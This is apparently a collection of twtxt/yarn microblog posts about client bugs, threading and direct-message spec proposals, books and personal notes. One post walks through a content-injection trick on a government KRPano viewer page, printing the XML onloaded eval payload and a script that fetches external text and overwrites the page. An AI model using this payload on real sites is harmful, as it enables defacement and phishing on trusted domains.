I’ve been also bitten badly by outdated comments in the past, but Bob must have worked on really terrible projects to end up with such an attitude to dislike comments. Oh well. No doubt, I’ve come across by several orders of magnitude more useless comments, in my experience (autogenerated) JavaDocs fall in the category more frequently than not. So, I know that there are different types of comments. A comment doesn’t automatically mean that it is good and justified.

But I also partially agree with Bob and John and think that a good name has a proper chance to save a comment. Though, when in doubt, I go John’s route and use a shorter name with a comment rather than use a kilometer long identifier. Writing good comments typically takes some time, sometimes much longer than writing the code. It regularly takes me several minutes. It’s a hard art.

I perhaps should read up on John’s work. He seems to be more reasonable and likeminded. :-) Let me continue to complete this document.

⤋ Read More
In-reply-to » I am going to start using this one more, or exclusively, from now on. I need to get used to it, as "quark" will be gone, and "bender", well, he is kind of tired of getting bent. :-D

Should i follow david feed instead of bender and quark?

⤋ Read More
In-reply-to » Today is an important day. We have a new extension: Direct message 🪇🗨️🚀🥳❤️ https://twtxt.dev/exts/direct-message.html #twtxt

@andros@twtxt.andros.dev Could you share (perhaps in the extension document) the private key for alice?

I want to compare that I can read the encrypted message both from OpenSSL CLI and from the PHP OpenSSL library, following the spec.

⤋ Read More

@prologic@twtxt.net Of course you don’t notice it when yarnd only shows at most the last n messages of a feed. As an example, check out mckinley’s message from 2023-01-09T22:42:37Z. It has “[Scheduled][Scheduled][Scheduled]“… in it. This text in square brackets is repeated numerous times. If you search his feed for closing square bracket followed by an opening square bracket (][) you will find a bunch more of these. It goes without question he never typed that in his feed. My client saves each twt hash I’ve explicitly marked read. A few days ago, I got plenty of apparently years old, yet suddenly unread messages. Each and every single one of them containing this repeated bracketed text thing. The only conclusion is that something messed up the feed again.

⤋ Read More
In-reply-to » (#szvqv6a) @bender @prologic I can reproduce this locally, too. But it doesn't matter if I follow the feed or not. With JS enabled, hitting "Reply" opens a textarea with @<url>. Submitting this writes @<domain url> instead of @<nick url> in the feed.

While I now have a somewhat working fix for it in yarnd (https://git.mills.io/yarnsocial/yarn/pulls/1232), I also have the feeling that I should fix literal formatting in lextwt as well. This also uncovered more bugs I believe: https://git.mills.io/yarnsocial/go-lextwt/pulls/28

But then there is also the question why the textarea is populated with @<url> in the first place rather than @<nick url> or yarnd’s own @nick@domain/@nick syntax. It indeed has to do something with whether I follow the mentioned feed or not.

Anyway, something to investigate for future Lyse or maybe @prologic@twtxt.net and/or @xuu@txt.sour.is. G’night!

⤋ Read More
In-reply-to » (#szvqv6a) @bender @prologic I can reproduce this locally, too. But it doesn't matter if I follow the feed or not. With JS enabled, hitting "Reply" opens a textarea with @<url>. Submitting this writes @<domain url> instead of @<nick url> in the feed.

Righto, must be some caching thing that’s going on, too. Now, with JS enabled and a feed that I follow, hitting “Reply” actually automatically enters @nick@domain in the textarea. Submitting it correctly writes “@in the feed. Let's dig…

⤋ Read More

@bender@twtxt.net @prologic@twtxt.net I can reproduce this locally, too. But it doesn’t matter if I follow the feed or not. With JS enabled, hitting “Reply” opens a textarea with @<url>. Submitting this writes @<domain url> instead of @<nick url> in the feed.

However, when I have JS disabled, “Reply” jumps to the top of the page, but the the textarea is at the bottom. So, after scrolling down, the textarea is not filled with anything. Which is expected I reckon. Entering @nick@domain or just @nick resolves to the correct @<nick url> in the feed.

⤋ Read More
In-reply-to » I have managed to make the fetching of feeds asynchronous. To do this I have set up a small system of task queue. All requests are executed at the same time! 🚀 https://codeberg.org/andros/twtxt-el/src/branch/develop #twtxtel #emacs

@andros@twtxt.andros.dev Sweeeeet! Just gave it a try, you’ve done a wonderful work 🫡 I wanted to replay from there but couldn’t go past the first page of the feed. It kept freezing on me and complaining about some bad Url (as mentioned on the test twt), so I’ll have to dig through my follow list and see where I effed up this time. 😅

⤋ Read More
In-reply-to » anyway friends i went to the met yesterday and i have apparently been before but i was a little kid so i don't remember. i took the chance to finally clean up and use my mediagoblin instance. here's a collection https://remix.girlonthemoon.xyz/u/accendio/collection/2025-met/

@kat@yarn.girlonthemoon.xyz franz von stuck is one of my fave artists and i was so delighted to see one of his pieces displayed in person but i got separated from my family when i saw it and just barely got a pic before my sister dragged me back to follow them away T__T next time i will see if the met has more of his art… https://remix.girlonthemoon.xyz/u/accendio/m/franz-von-stuck-inferno-1908/

⤋ Read More
In-reply-to » I want to share a little idea for a new extension with the goal of adding direct messages in #twtxt https://github.com/tanrax/twtxt-direct-message-extension

another one would be to allow changing public keys over time (as it may be a good practice [0]). A syntax like the following could help to know what public key you used to encrypt the message, and which private key the client should use to decrypt it:

!<nick url> <encrypted_message> <public_key_hash_7_chars>

Also I’d remove support for storing the message as hex, only allowing base64 (more compact, aiming for a minimalistic spec, etc.)

[0] https://www.brandonchecketts.com/archives/its-2023-you-should-be-using-an-ed25519-ssh-key-and-other-current-best-practices

⤋ Read More
In-reply-to » Nice! totally legit government page: https://tour.diplomaticrooms.state.gov/?id=0&xml=https://sour.is/awesome.html

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>


the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

⤋ Read More

although I agree that it helps, I don’t see completely correct to leave the nick definition to the source .txt. It could be wrong from the start or outdated with the time.

I’d rather prefer to get it from the mentioned .txt nick metadata (could be cached for performance).
So my vote would to make it mandatory to follow @<name url> but only using that name/nick if the URL doesn’t contain another nick.
A main advantage is that when the destination URL changes the nick, it’ll be automagically updated in the thread view (as happens with some other microblogging platforms, following the Jakob’s Law)

⤋ Read More

@andros@twtxt.andros.dev Sorry I missed your messages to #twtxt on IRC. There are people there, but it can take several hours to get a response. E.g. I check it every day or two. I recommend using an IRC bouncer. To answer your question about registries, I used a couple of registries when I first started out, to try to find feeds to follow, but haven’t since then. I don’t remember which ones, but they were easy to find with web searches.

⤋ Read More

my friend is getting into snh48 and its sister groups and it makes me miss being a fan but my oshi (shen mengyao) graduated so i don’t have any reason to follow them. but the thing about snh48 is that it’s a group full of messy toxic lesbians with mental problems so there is always some wild ass drama going on. you can never leave snh48 standom

⤋ Read More

I’ll be using another URL for this twtxt.

The older one will redirect to the new for a while (I’m not sure what would happen if you follow both URLs, I assume it’s better to add the new one and remove the older)

Please update your following list to https://eapl.me/tw.txt !

⤋ Read More

Btw about social: found very interesting thing about twitter:

The legal basis that X asserts in the filing is not terribly interesting. But what is interesting is that X has decided to involve itself at all, and it highlights that you do not own your followers or your account or anything at all on corporate social media, and it also highlights the fact that Elon Musk’s X is primarily a political project he is using to boost, or stifle, specific viewpoints and help his friends. In the filing, X’s lawyers essentially say—like many other software companies, and, increasingly, device manufacturers as well—that the company’s terms of service grant X’s users a “license” to use the platform but that, ultimately, X owns all accounts on the social network and can do anything that it wants with them.

⤋ Read More

@eapl.me@eapl.me here are my replies (somewhat similar to Lyse’s and James’)

  1. Metadata in twts: Key=value is too complicated for non-hackers and hard to write by hand. So if there is a need then we should just use #NSFS or the alt-text file in markdown image syntax ![NSFW](url.to/image.jpg) if something is NSFW

  2. IDs besides datetime. When you edit a twt then you should preserve the datetime if location-based addressing should have any advantages over content-based addressing. If you change the timestamp the its a new post. Just like any other blog cms.

  3. Caching, Yes all good ideas, but that is more a task for the clients not the serving of the twtxt.txt files.

  4. Discovery: User-agent for discovery can become better. I’m working on a wrapper script in PHP, so you don’t need to go to Apaches log-files to see who fetches your feed. But for other Gemini and gopher you need to relay on something else. That could be using my webmentions for twtxt suggestion, or simply defining an email metadata field for letting a person know you follow their feed. Interesting read about why WebMetions might be a bad idea. Twtxt being much simple that a full featured IndieWeb sites, then a lot of the concerns does not apply here. But that’s the issue with any open inbox. This is hard to solve without some form of (centralized or community) spam moderation.

  5. Support more protocols besides http/s. Yes why not, if we can make clients that merge or diffident between the same feed server by multiples URLs

  6. Languages: If the need is big then make a separate feed. I don’t mind seeing stuff in other langues as it is low. You got translating tool if you need to know whats going on. And again when there is a need for easier switching between posting to several feeds, then it’s about building clients with a UI that makes it easy. No something that should takes up space in the format/protocol.

  7. Emojis: I’m not sure what this is about. Do you want to use emojis as avatar in CLI clients or it just about rendering emojis?

⤋ Read More

Tried migrating to jenny… So seems it not suitable for my phone. Fetch command fetched archived feeds so i have 37k+ entries and mutt hangs for several seconds for loading this. Also i don’t like hardcoded paths for config and follow file

⤋ Read More

@Codebuzz@www.codebuzz.nl I use Jenny to add to a local copy of my twtxt.txt file, and then manually push it to my web servers. I prefer timestamps to end with “Z” rather than “+00:00” so I modified Jenny to use that format. I mostly follow conversations using Jenny, but sometimes I check twtxt.net, which could catch twts I missed.

⤋ Read More

I’m enjoying Wesley Chu’s Tao and Io series. Spies, action, ancient aliens. Some funny parts, some interesting world-building parts, some action-filled parts. I picked up The Fall of Io at random from a library a few weeks ago, and it turned out to be the last in a series of six (technically two series), so after finishing that I read the first and am partway through the second. Usually I try to read series in order, but this way is interesting. One thing I liked about The Fall of Io was that it it followed many points of view with somewhat conflicting interests, some more evil than others, and I felt sympathy for most of them. (I was kind of hoping it would be about Jupiter’s moon Io, but it wasn’t, but I’m satisfied with what I ended up with.) (2/4)

⤋ Read More

That’s very sad… Btw twtxt is more hardly to spam because of bad discovery. So you can only spam to your followers. Did you really want abandon best method of microblogging?

⤋ Read More

It has twts cache which used if timeline is set to jew. Maybe i.should fork twet to make wishes like newlines (i see two squares), showing conversations, showing twts if not found in cache and parsing medata to configure url, nick and followers (currenly it duplicated in config and twtxt file)

⤋ Read More

Some more arguments for a local-based treading model over a content-based one:

  1. The format: (#<DATE URL>) or (@<DATE URL>) both makes sense: # as prefix is for a hashtag like we allredy got with the (#twthash) and @ as prefix denotes that this is mention of a specific post in a feed, and not just the feed in general. Using either can make implementation easier, since most clients already got this kind of filtering.

  2. Having something like (#<DATE URL>) will also make mentions via webmetions for twtxt easier to implement, since there is no need for looking up the #twthash. This will also make it possible to make 3th part twt-mentions services.

  3. Supporting twt/webmentions will also increase discoverability as a way to know about both replies and feed mentions from feeds that you don’t follow.

⤋ Read More

@lyse@lyse.isobeef.org I’d suggest making the whole content-type thing a SHOULD, to accommodate people just using some hosting service they don’t have much control over. (The same situation could make detecting followers hard, but IMO “please email me if you follow me” is still legit twtxt, even if inconvenient.)

⤋ Read More

@prologic@twtxt.net Thanks for writing that up!

I hope it can remain a living document (or sequence of draft revisions) for a good long time while we figure out how this stuff works in practice.

I am not sure how I feel about all this being done at once, vs. letting conventions arise.

For example, even today I could reply to twt abc1234 with “(#abc1234) Edit: …” and I think all you humans would understand it as an edit to (#abc1234). Maybe eventually it would become a common enough convention that clients would start to support it explicitly.

Similarly we could just start using 11-digit hashes. We should iron out whether it’s sha256 or whatever but there’s no need get all the other stuff right at the same time.

I have similar thoughts about how some users could try out location-based replies in a backward-compatible way (append the replyto: stuff after the legacy (#hash) style).

However I recognize that I’m not the one implementing this stuff, and it’s less work to just have everything determined up front.

Misc comments (I haven’t read the whole thing):

  • Did you mean to make hashes hexadecimal? You lose 11 bits that way compared to base32. I’d suggest gaining 11 bits with base64 instead.

  • “Clients MUST preserve the original hash” — do you mean they MUST preserve the original twt?

  • Thanks for phrasing the bit about deletions so neutrally.

  • I don’t like the MUST in “Clients MUST follow the chain of reply-to references…”. If someone writes a client as a 40-line shell script that requires the user to piece together the threading themselves, IMO we shouldn’t declare the client non-conforming just because they didn’t get to all the bells and whistles.

  • Similarly I don’t like the MUST for user agents. For one thing, you might want to fetch a feed without revealing your identty. Also, it raises the bar for a minimal implementation (I’m again thinking again of the 40-line shell script).

  • For “who follows” lists: why must the long, random tokens be only valid for a limited time? Do you have a scenario in mind where they could leak?

  • Why can’t feeds be served over HTTP/1.0? Again, thinking about simple software. I recently tried implementing HTTP/1.1 and it wasn’t too bad, but 1.0 would have been slightly simpler.

  • Why get into the nitty-gritty about caching headers? This seems like generic advice for HTTP servers and clients.

  • I’m a little sad about other protocols being not recommended.

  • I don’t know how I feel about including markdown. I don’t mind too much that yarn users emit twts full of markdown, but I’m more of a plain text kind of person. Also it adds to the length. I wonder if putting a separate document would make more sense; that would also help with the length.

⤋ Read More
In-reply-to » @prologic Do you have a link to some past discussion?

@falsifian@www.falsifian.org comments on the feeds as in nick, url, follow, that kind of thing? If that, then not interested at all. I envision an archive that would allow searching, and potentially browsing threads on a nice, neat interface. You will have to think, though, on other things. Like, what to do with images? Yarn allows users to upload images, but also embed it in twtxts from other sources (hotlinking, actually).

⤋ Read More

@movq@www.uninformativ.de I don’t think it has to be like that. Just make sure the new version of the twt is always appended to your current feed, and have some convention for indicating it’s an edit and which twt it supersedes. Keep the original twt as-is (or delete it if you don’t want new followers to see it); doesn’t matter if it’s archived because you aren’t changing that copy.

⤋ Read More

I wrote some code to try out non-hash reply subjects formatted as (replyto ), while keeping the ability to use the existing hash style.

I don’t think we need to decide all at once. If clients add support for a new method then people can use it if they like. The downside of course is that this costs developer time, so I decided to invest a few hours of my own time into a proof of concept.

With apologies to @movq@www.uninformativ.de for corrupting jenny’s beautiful code. I don’t write this expecting you to incorporate the patch, because it does complicate things and might not be a direction you want to go in. But if you like any part of this approach feel free to use bits of it; I release the patch under jenny’s current LICENCE.

Supporting both kinds of reply in jenny was complicated because each email can only have one Message-Id, and because it’s possible the target twt will not be seen until after the twt referencing it. The following patch uses an sqlite database to keep track of known (url, timestamp) pairs, as well as a separate table of (url, timestamp) pairs that haven’t been seen yet but are wanted. When one of those “wanted” twts is finally seen, the mail file gets rewritten to include the appropriate In-Reply-To header.

Patch based on jenny commit 73a5ea81.

https://www.falsifian.org/a/oDtr/patch0.txt

Not implemented:

  • Composing twts using the (replyto …) format.
  • Probably other important things I’m forgetting.

⤋ Read More